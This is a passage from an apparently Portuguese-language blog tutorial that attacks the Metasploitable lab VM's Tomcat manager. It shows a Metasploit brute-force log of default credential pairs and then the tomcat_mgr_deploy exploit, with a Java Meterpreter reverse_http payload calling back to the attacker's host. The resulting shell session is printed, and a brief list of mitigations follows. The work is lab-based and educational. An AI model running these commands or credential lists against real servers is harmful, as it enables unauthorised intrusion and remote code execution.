[-][192.168.0.108:8180 TOMCAT_MGR - [10/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘ADMIN’
[*][192.168.0.108:8180 TOMCAT_MGR - [11/45] – Trying username:’xampp’ with password:’xampp’
[-][192.168.0.108:8180 TOMCAT_MGR - [11/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘xampp’
[*][192.168.0.108:8180 TOMCAT_MGR - [12/45] – Trying username:’ovwebusr’ with password:’OvW*busr1′
[-][192.168.0.108:8180 TOMCAT_MGR - [12/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘ovwebusr’
[*][192.168.0.108:8180 TOMCAT_MGR - [13/45] – Trying username:’cxsdk’ with password:’kdsxc’
[-][192.168.0.108:8180 TOMCAT_MGR - [13/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘cxsdk’
[*][192.168.0.108:8180 TOMCAT_MGR - [14/45] – Trying username:’root’ with password:’owaspbwa’
[-][192.168.0.108:8180 TOMCAT_MGR - [14/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘root’
[*][192.168.0.108:8180 TOMCAT_MGR - [15/45] – Trying username:’admin’ with password:’manager’
[-][192.168.0.108:8180 TOMCAT_MGR - [15/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘admin’
[*][192.168.0.108:8180 TOMCAT_MGR - [16/45] – Trying username:’admin’ with password:’role1′
[-][192.168.0.108:8180 TOMCAT_MGR - [16/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘admin’
[*][192.168.0.108:8180 TOMCAT_MGR - [17/45] – Trying username:’admin’ with password:’root’
[-][192.168.0.108:8180 TOMCAT_MGR - [17/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘admin’
[*][192.168.0.108:8180 TOMCAT_MGR - [18/45] – Trying username:’admin’ with password:’tomcat’
[-][192.168.0.108:8180 TOMCAT_MGR - [18/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘admin’
[*][192.168.0.108:8180 TOMCAT_MGR - [19/45] – Trying username:’admin’ with password:’s3cret’
[-][192.168.0.108:8180 TOMCAT_MGR - [19/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘admin’
[*][192.168.0.108:8180 TOMCAT_MGR - [20/45] – Trying username:’manager’ with password:’admin’
[-][192.168.0.108:8180 TOMCAT_MGR - [20/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘manager’
[*][192.168.0.108:8180 TOMCAT_MGR - [21/45] – Trying username:’manager’ with password:’role1′
[-][192.168.0.108:8180 TOMCAT_MGR - [21/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘manager’
[*][192.168.0.108:8180 TOMCAT_MGR - [22/45] – Trying username:’manager’ with password:’root’
[-][192.168.0.108:8180 TOMCAT_MGR - [22/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘manager’
[*][192.168.0.108:8180 TOMCAT_MGR - [23/45] – Trying username:’manager’ with password:’tomcat’
[-][192.168.0.108:8180 TOMCAT_MGR - [23/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘manager’
[*][192.168.0.108:8180 TOMCAT_MGR - [24/45] – Trying username:’manager’ with password:’s3cret’
[-][192.168.0.108:8180 TOMCAT_MGR - [24/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘manager’
[*][192.168.0.108:8180 TOMCAT_MGR - [25/45] – Trying username:’role1′ with password:’admin’
[-][192.168.0.108:8180 TOMCAT_MGR - [25/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘role1′
[*][192.168.0.108:8180 TOMCAT_MGR - [26/45] – Trying username:’role1′ with password:’manager’
[-][192.168.0.108:8180 TOMCAT_MGR - [26/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘role1′
[*][192.168.0.108:8180 TOMCAT_MGR - [27/45] – Trying username:’role1′ with password:’root’
[-][192.168.0.108:8180 TOMCAT_MGR - [27/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘role1′
[*][192.168.0.108:8180 TOMCAT_MGR - [28/45] – Trying username:’role1′ with password:’tomcat’
[-][192.168.0.108:8180 TOMCAT_MGR - [28/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘role1′
[*][192.168.0.108:8180 TOMCAT_MGR - [29/45] – Trying username:’role1′ with password:’s3cret’
[-][192.168.0.108:8180 TOMCAT_MGR - [29/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘role1′
[*][192.168.0.108:8180 TOMCAT_MGR - [30/45] – Trying username:’root’ with password:’admin’
[-][192.168.0.108:8180 TOMCAT_MGR - [30/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘root’
[*][192.168.0.108:8180 TOMCAT_MGR - [31/45] – Trying username:’root’ with password:’manager’
[-][192.168.0.108:8180 TOMCAT_MGR - [31/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘root’
[*][192.168.0.108:8180 TOMCAT_MGR - [32/45] – Trying username:’root’ with password:’role1′
[-][192.168.0.108:8180 TOMCAT_MGR - [32/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘root’
[*][192.168.0.108:8180 TOMCAT_MGR - [33/45] – Trying username:’root’ with password:’tomcat’
[-][192.168.0.108:8180 TOMCAT_MGR - [33/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘root’
[*][192.168.0.108:8180 TOMCAT_MGR - [34/45] – Trying username:’root’ with password:’s3cret’
[-][192.168.0.108:8180 TOMCAT_MGR - [34/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘root’
[*][192.168.0.108:8180 TOMCAT_MGR - [35/45] – Trying username:’both’ with password:’admin’
[-][192.168.0.108:8180 TOMCAT_MGR - [35/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘both’
[*][192.168.0.108:8180 TOMCAT_MGR - [36/45] – Trying username:’both’ with password:’manager’
[-][192.168.0.108:8180 TOMCAT_MGR - [36/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘both’
[*][192.168.0.108:8180 TOMCAT_MGR - [37/45] – Trying username:’both’ with password:’role1′
[-][192.168.0.108:8180 TOMCAT_MGR - [37/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘both’
[*][192.168.0.108:8180 TOMCAT_MGR - [38/45] – Trying username:’both’ with password:’root’
[-][192.168.0.108:8180 TOMCAT_MGR - [38/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘both’
[*][192.168.0.108:8180 TOMCAT_MGR - [39/45] – Trying username:’both’ with password:’tomcat’
[-][192.168.0.108:8180 TOMCAT_MGR - [39/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘both’
[*][192.168.0.108:8180 TOMCAT_MGR - [40/45] – Trying username:’both’ with password:’s3cret’
[-][192.168.0.108:8180 TOMCAT_MGR - [40/45] – /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘both’
[*][Scanned 1 of 1 hosts (100% complete)
[*][Auxiliary module execution completed



Opa! Se analizar bem essa saída podemos ver que com a wordlist padrão já encontramos uma combinação user:pass (tomcat:tomcat). Nem vamos precisar de wordlist nesse caso. Ele também encontrou que o diretório padrão é válido, logo, não precisamos testar outro. Então agora vamos procurar nosso exploit de verdade.


msf (tomcat_mgr_login) > search tomcat

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/http/tomcat_administration normal Tomcat Administration Tool Default Access
auxiliary/admin/http/tomcat_utf8_traversal normal Tomcat UTF-8 Directory Traversal Vulnerability
auxiliary/admin/http/trendmicro_dlp_traversal normal TrendMicro Data Loss Prevention 5.5 Directory Traversal
auxiliary/dos/http/apache_tomcat_transfer_encoding 2010-07-09 00:00:00 UTC normal Apache Tomcat Transfer-Encoding Information Disclosure and DoS
auxiliary/dos/http/hashcollision_dos 2011-12-28 00:00:00 UTC normal Hashtable Collisions
auxiliary/scanner/http/tomcat_enum normal Apache Tomcat User Enumeration
auxiliary/scanner/http/tomcat_mgr_login normal Tomcat Application Manager Login Utility
exploit/multi/http/tomcat_mgr_deploy 2009-11-09 00:00:00 UTC excellent Apache Tomcat Manager Application Deployer Authenticated Code Execution


O exploit que nós vamos usar é o mgr_deploy, com um payload reverse_http. Vamos preencher com as informações que já conseguimos.


msf (tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy
msf (tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used)
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
USERNAME no The username to authenticate as
VHOST no HTTP server virtual host
Exploit target:

Id Name
-- ----
0 Automatic
msf (tomcat_mgr_deploy) > set RHOST 192.168.0.108
RHOST => 192.168.0.108
msf (tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf (tomcat_mgr_deploy) > set USERNAME tomcat
USERNAME => tomcat
msf (tomcat_mgr_deploy) > set PASSWORD tomcat
PASSWORD => tomcat
msf (tomcat_mgr_deploy) > show payloads


Compatible Payloads
===================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/custom normal Custom Payload
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
java/meterpreter/bind_tcp normal Java Meterpreter, Java Bind TCP Stager
java/meterpreter/reverse_http normal Java Meterpreter, Java Reverse HTTP Stager
java/meterpreter/reverse_https normal Java Meterpreter, Java Reverse HTTPS Stager
java/meterpreter/reverse_tcp normal Java Meterpreter, Java Reverse TCP Stager
java/shell/bind_tcp normal Command Shell, Java Bind TCP Stager
java/shell/reverse_tcp normal Command Shell, Java Reverse TCP Stager
java/shell_reverse_tcp normal Java Command Shell, Reverse TCP Inline

msf (tomcat_mgr_deploy) > set PAYLOAD java/meterpreter/reverse_http
PAYLOAD => java/meterpreter/reverse_http
msf (tomcat_mgr_deploy) > set LHOST 192.168.0.106
LHOST => 192.168.0.106
msf (tomcat_mgr_deploy) > exploit

[*][Started HTTP reverse handler on http://192.168.0.106:8443/
[*][Attempting to automatically select a target...
[*][Automatically selected target "Linux x86"
[*][Uploading 6465 bytes as D3YHKcK8TOful.war ...
[*][Executing /D3YHKcK8TOful/qh3Q6Qaf2NVdciS7ngfbkqIBa04HxV.jsp...
[*][Undeploying D3YHKcK8TOful ...
[*][192.168.0.108:51231 Request received for /INITJM...
Java: /INITJM
URL: "http://192.168.0.106:8443/FDnj_4IdkGPMI9c8doStx/\x00"
[*][Meterpreter session 2 opened (192.168.0.106:8443 -> 192.168.0.108:51231) at 2012-08-24 20:37:12 -0300
meterpreter >


Pronto! Conseguimos, estamos dentro, vamos rodar alguns comandos para confirmar.


meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24-16-server (i386)
Meterpreter : java/java
meterpreter > ifconfig

Interface 1
============
Name : lo – lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
Interface 2
============
Name : eth0 – eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.0.108
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe45:2ce8
IPv6 Netmask : ::

meterpreter > shell
Process 1 created.
Channel 1 created.

$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
$ whoami
tomcat55

$ ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

$ cd /tmp

$ pwd
/tmp

$ ls
4729.jsvc_up
cache37pgy7jar
cache37pgy8jar

$ halt
halt: Need to be root


E estamos mesmo dentro! Podemos ver pelo comando whoami que estamos no user tomcat55. Podemos passear e utilizar alguns comandos no sistema, mas não temos muitos privilégios. Pode-se notar isso no último comando que retornou “Need to be root”. Precisamos escalar privilégios e conseguir acesso root para brincar mais.

Mas essa parte fica para outro post, já que esse era apenas para conhecer a vulnerabilidade e os exploits.


Evitando o ataque


Opa descobri como atacar e por onde que se entra, mas e agora, como eu arrumo isso?

Bom, não se tem muita coisa a fazer nesse ponto, mas vamos a elas:

  • Mantenha sempre o Apache Tomcat atualizado
  • Não use senhas óbvias
  • Se possível mude o diretório para algo menos óbvio

Por hoje era isso! Já vimos 1 das falhas do Metasploitable, já já teremos mais.
Subscribe to RSS Feed Follow me on Twitter!